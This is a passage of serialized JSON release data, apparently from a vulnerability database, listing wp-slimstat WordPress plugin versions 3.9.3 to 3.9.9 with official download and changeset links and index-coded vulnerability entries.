uln_type":240,"patched_in_version":237},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":312,"url_slug":313,"title":314,"severity":42,"cvss_score":199,"vuln_type":319,"patched_in_version":317},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":5092,"download_url":5093,"svn_tag_url":5094,"released_at":39,"has_diff":54,"diff_files_changed":5095,"diff_lines":39,"trac_diff_url":5096,"vulnerabilities":5097,"is_current":54},"3.9.9","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.3.9.9.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F3.9.9\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F3.9.8.2&new_path=%2Fwp-slimstat%2Ftags%2F3.9.9",[5098,5099,5100,5101,5102,5103,5104,5105,5106,5107,5108,5109,5110,5111,5112,5113,5114,5115,5116,5117,5118],{"id":338,"url_slug":339,"title":340,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":343},{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":326,"url_slug":327,"title":328,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":331},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":312,"url_slug":313,"title":314,"severity":42,"cvss_score":199,"vuln_type":319,"patched_in_version":317},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":5120,"download_url":5121,"svn_tag_url":5122,"released_at":39,"has_diff":54,"diff_files_changed":5123,"diff_lines":39,"trac_diff_url":5124,"vulnerabilities":5125,"is_current":54},"3.9.8.2","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.3.9.8.2.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F3.9.8.2\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F3.9.8.1&new_path=%2Fwp-slimstat%2Ftags%2F3.9.8.2",[5126,5127,5128,5129,5130,5131,5132,5133,5134,5135,5136,5137,5138,5139,5140,5141,5142,5143,5144,5145,5146],{"id":338,"url_slug":339,"title":340,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":343},{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":326,"url_slug":327,"title":328,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":331},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":312,"url_slug":313,"title":314,"severity":42,"cvss_score":199,"vuln_type":319,"patched_in_version":317},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":5148,"download_url":5149,"svn_tag_url":5150,"released_at":39,"has_diff":54,"diff_files_changed":5151,"diff_lines":39,"trac_diff_url":5152,"vulnerabilities":5153,"is_current":54},"3.9.8.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.3.9.8.1.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F3.9.8.1\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F3.9.8&new_path=%2Fwp-slimstat%2Ftags%2F3.9.8.1",[5154,5155,5156,5157,5158,5159,5160,5161,5162,5163,5164,5165,5166,5167,5168,5169,5170,5171,5172,5173,5174],{"id":338,"url_slug":339,"title":340,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":343},{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":326,"url_slug":327,"title":328,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":331},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":312,"url_slug":313,"title":314,"severity":42,"cvss_score":199,"vuln_type":319,"patched_in_version":317},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":5176,"download_url":5177,"svn_tag_url":5178,"released_at":39,"has_diff":54,"diff_files_changed":5179,"diff_lines":39,"trac_diff_url":5180,"vulnerabilities":5181,"is_current":54},"3.9.8","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.3.9.8.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F3.9.8\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F3.9.7.1&new_path=%2Fwp-slimstat%2Ftags%2F3.9.8",[5182,5183,5184,5185,5186,5187,5188,5189,5190,5191,5192,5193,5194,5195,5196,5197,5198,5199,5200,5201,5202],{"id":338,"url_slug":339,"title":340,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":343},{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":326,"url_slug":327,"title":328,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":331},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":312,"url_slug":313,"title":314,"severity":42,"cvss_score":199,"vuln_type":319,"patched_in_version":317},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":5204,"download_url":5205,"svn_tag_url":5206,"released_at":39,"has_diff":54,"diff_files_changed":5207,"diff_lines":39,"trac_diff_url":5208,"vulnerabilities":5209,"is_current":54},"3.9.7.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.3.9.7.1.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F3.9.7.1\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F3.9.7&new_path=%2Fwp-slimstat%2Ftags%2F3.9.7.1",[5210,5211,5212,5213,5214,5215,5216,5217,5218,5219,5220,5221,5222,5223,5224,5225,5226,5227,5228,5229,5230],{"id":338,"url_slug":339,"title":340,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":343},{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":326,"url_slug":327,"title":328,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":331},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":312,"url_slug":313,"title":314,"severity":42,"cvss_score":199,"vuln_type":319,"patched_in_version":317},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":5232,"download_url":5233,"svn_tag_url":5234,"released_at":39,"has_diff":54,"diff_files_changed":5235,"diff_lines":39,"trac_diff_url":5236,"vulnerabilities":5237,"is_current":54},"3.9.7","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.3.9.7.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F3.9.7\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F3.9.6&new_path=%2Fwp-slimstat%2Ftags%2F3.9.7",[5238,5239,5240,5241,5242,5243,5244,5245,5246,5247,5248,5249,5250,5251,5252,5253,5254,5255,5256,5257,5258],{"id":338,"url_slug":339,"title":340,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":343},{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":326,"url_slug":327,"title":328,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":331},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":312,"url_slug":313,"title":314,"severity":42,"cvss_score":199,"vuln_type":319,"patched_in_version":317},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":355,"download_url":5260,"svn_tag_url":5261,"released_at":39,"has_diff":54,"diff_files_changed":5262,"diff_lines":39,"trac_diff_url":5263,"vulnerabilities":5264,"is_current":54},"https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.3.9.6.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F3.9.6\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F3.9.5&new_path=%2Fwp-slimstat%2Ftags%2F3.9.6",[5265,5266,5267,5268,5269,5270,5271,5272,5273,5274,5275,5276,5277,5278,5279,5280,5281,5282,5283,5284,5285],{"id":338,"url_slug":339,"title":340,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":343},{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":326,"url_slug":327,"title":328,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":331},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":312,"url_slug":313,"title":314,"severity":42,"cvss_score":199,"vuln_type":319,"patched_in_version":317},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":5287,"download_url":5288,"svn_tag_url":5289,"released_at":39,"has_diff":54,"diff_files_changed":5290,"diff_lines":39,"trac_diff_url":5291,"vulnerabilities":5292,"is_current":54},"3.9.5","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.3.9.5.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F3.9.5\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F3.9.4&new_path=%2Fwp-slimstat%2Ftags%2F3.9.5",[5293,5294,5295,5296,5297,5298,5299,5300,5301,5302,5303,5304,5305,5306,5307,5308,5309,5310,5311,5312,5313,5314],{"id":338,"url_slug":339,"title":340,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":343},{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":326,"url_slug":327,"title":328,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":331},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":350,"url_slug":351,"title":352,"severity":42,"cvss_score":356,"vuln_type":73,"patched_in_version":355},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":312,"url_slug":313,"title":314,"severity":42,"cvss_score":199,"vuln_type":319,"patched_in_version":317},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":5316,"download_url":5317,"svn_tag_url":5318,"released_at":39,"has_diff":54,"diff_files_changed":5319,"diff_lines":39,"trac_diff_url":5320,"vulnerabilities":5321,"is_current":54},"3.9.4","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.3.9.4.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F3.9.4\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F3.9.3&new_path=%2Fwp-slimstat%2Ftags%2F3.9.4",[5322,5323,5324,5325,5326,5327,5328,5329,5330,5331,5332,5333,5334,5335,5336,5337,5338,5339,5340,5341,5342,5343],{"id":338,"url_slug":339,"title":340,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":343},{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":326,"url_slug":327,"title":328,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":331},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":350,"url_slug":351,"title":352,"severity":42,"cvss_score":356,"vuln_type":73,"patched_in_version":355},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":312,"url_slug":313,"title":314,"severity":42,"cvss_score":199,"vuln_type":319,"patched_in_version":317},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":381,"download_url":5345,"svn_tag_url":5346,"released_at":39,"has_diff":54,"diff_files_changed":5347,"diff_lines":39,"trac_diff_url":5348,"vulnerabilities":5349,"is_current":54},"https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.3.9.3.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F3.9.3\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F3.9.2&new_path=%2Fwp-slimstat%2Ftags%2F3.9.3",[5350,5351,5352,5353,5354,5355,5356,5357,5358,5359,5360,5361,5362,5363,5364,5365,5366,5367,5368,5369,5370,5371],{"id":338,"url_slug":339,"title":340,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":343},{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":326,"url_slug":327,"title":328,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":331},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":350,"url_slug"